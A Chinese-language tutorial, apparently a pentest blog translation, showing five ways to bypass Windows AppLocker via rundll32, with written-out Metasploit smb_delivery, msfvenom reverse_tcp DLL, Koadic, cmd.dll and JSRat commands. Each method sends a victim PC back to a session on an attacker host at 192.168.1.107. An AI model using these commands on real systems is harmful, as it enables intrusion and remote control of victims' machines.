发布于2022年11月5日3年前 0x00 前言 本文演示了白名单AppLocker bypass的最常见和最熟悉的技术。我们知道,出于安全原因,系统管理员添加组策略来限制本地用户的应用程序执行。在上一篇文章中,我们讨论了“ Windows Applocker策略 - 初学者指南”,因为它们为应用程序控制策略定义了AppLocker规则,以及如何使用它们。但今天您将学习如何使用rundll文件绕过AppLocker策略。DLL文件对于Window的操作系统非常重要,它还决定了自定义Windows的其他程序的运行。动态链接库(DLL)文件是一种文件类型,它向其他程序提供有关如何调用某些内容的指令。因此,多个软件甚至可以同时共享这样的DLL文件。尽管与.exe文件的格式相同,但DLL文件不能像.exe文件那样直接执行。dll文件扩展名可以是:.dll(动态链接库)、.ocx(ActiveX控件)、.cpl(控制面板)、.drv(设备驱动程序) 0x01 运行 当AppLocker使用时,DLL文件被分为多个部分。这使得DLL文件的运行变得简单快捷。每个部分都在运行时安装在主程序中。由于每个部分都不同且独立的,所以加载时间更快,并且仅在需要所述文件的功能时才完成。此功能还使升级更容易应用,而不影响其他部分。例如,您有一个字典程序,每个月都会添加新词,因此,对于这个程序,您所要做的就是更新它;而不需要为它安装一个完整的另一个程序。 1.优点 使用更少的资源 促进模块化架构 简化部署和安装 2.缺点 依赖DLL将升级到新版本 依赖DLL是固定的 依赖DLL将被早期版本覆盖 从计算机中删除依赖dll 0x02 使用DLL文件的AppLocker Bypass的不同方法 Smb_Delivery MSFVenom Koadic 通过cmd.dll获取命令提示符 JSRat 1.第一种方法:SMB Delivery 因此,我们的方法是使用smb_delivery。要使用此方法,请在kali中打开终端并键入以下命令:msfconsole use exploit/windows/smb/smb_delivery msf exploit(windows/smb/smb_delivery) > set srvhost 192.168.1.107 msf exploit(windows/smb/smb_delivery) > exploit 现在,通过Windows计算机中的rundll32.exe运行恶意代码以获取meterpreter会话 当上述payload执行时,它将为您提供一个在受害者PC上执行的命令; 以便获得会话。因此,在受害者PC的运行窗口中复制并粘贴指定的命令,如下图所示: rundll32.exe \\192.168.1.107\ZtmW\test.dll,0 一旦执行该命令,您将拥有meterpreter会话。要访问会话类型如下所示: sessions 1 sysinfo 2.第二种方法:MSFVenom 我们的第二种方法是通过MSFVenom。要使用此方法,请在kali的终端中键入以下命令: msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 -f dll > 1.dll 创建payload后,在受害者PC的运行窗口中运行以下命令: rundll32 shell32.dll,Control_RunDLL C:\Users\raj\Downloads\1.dll 同时,通过输入以下命令启动multi/handler以获取会话,输入命令:msfconsole msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf exploit(multi/handler) > set lhost 192.168.1.107 msf exploit(multi/handler) > set lport 1234 msf exploit(multi/handler) > exploit 3.第三种方法:Koadic 我们的下一个方法是使用Koadic框架。Koadic是一个Windows后期开发的rootkit,类似于其他渗透测试工具,如meterpreter和PowerShellEmpire。要了解更多关于Koadic的信息,请通过以下链接阅读我们关于上述框架的详细文章:https://www.hackingarticles.in/koadic-com-command-control-framework 一旦koadic启动并运行,输入以下命令: use stager/js/rundll32_js set SRVHOST 192.168.1.107 run 运行exploit 将获得一个命令。将该命令从rundll32.exe复制到6.0中,并将其粘贴到受害者pc的命令提示符中。 一旦在cmd中运行了该命令,您将拥有自己的会话。如下图所示。 要访问会话,请输入以下命令: zombies 0 4.第四种方法:通过cmd.dll获取命令提示符 现在的难题是,如果命令提示在受害者的主机中被阻止,该怎么做? 如果命令行被阻止,那么Didier Stevens开发的脚本可以用来解决你的小问题。您可以在以下链接中找到它们: http://didierstevens.com/files/software/cmd-dll_v0_0_4.zip 在上面的URL中,您将下载一个zip文件。解压缩该zip文件并使用以下命令在运行窗口中运行该文件: rundll32 shell32.dll,Control_RunDLL C:\Users\raj\Downloads\cmd.dll 一旦运行该命令,您将获得一个未阻止的cmd。如下所示: 5.第五种方法:JSRat 我们攻击regsvr32的下一个方法是使用jsrat,你可以从GitHub下载它。这是另一个命令和控制框架,类似于koadic和Powershell Empire,仅为rundll32.exe和regsvr32.exe生成恶意程序。jsrat将创建一个Web服务器,在该Web服务器上,我们将找到.js文件。要使用此方法,请输入: /JSRat.py -i 192.168.1.107 -p 4444 一旦JSRat开始运行,它将为您提供在浏览器中打开的链接。该网页将包含一个要在受害者主机上执行的代码 因此,请在浏览器中打开http://192.168.1.107/wtf链接。在那下面你会查看到恶意的代码,如下图所示: 在受害者PC的命令提示符中运行该代码,如下所示: 您将拥有一个会话,如下图所示: 0x03 总结 DLL文件是各种代码和过程的集合。这些文件有助于Windows程序准确执行。这些文件是为多个程序创建的,以便同时使用它们。这种技术有助于减少内存使用。因此,这些文件非常重要,并且要求Windows正常运行而不会给用户带来任何问题。因此,通过这些文件进行利用是非常有效和致命的。以上介绍的方法是不同的方法的利用。
创建帐户或登录后发表意见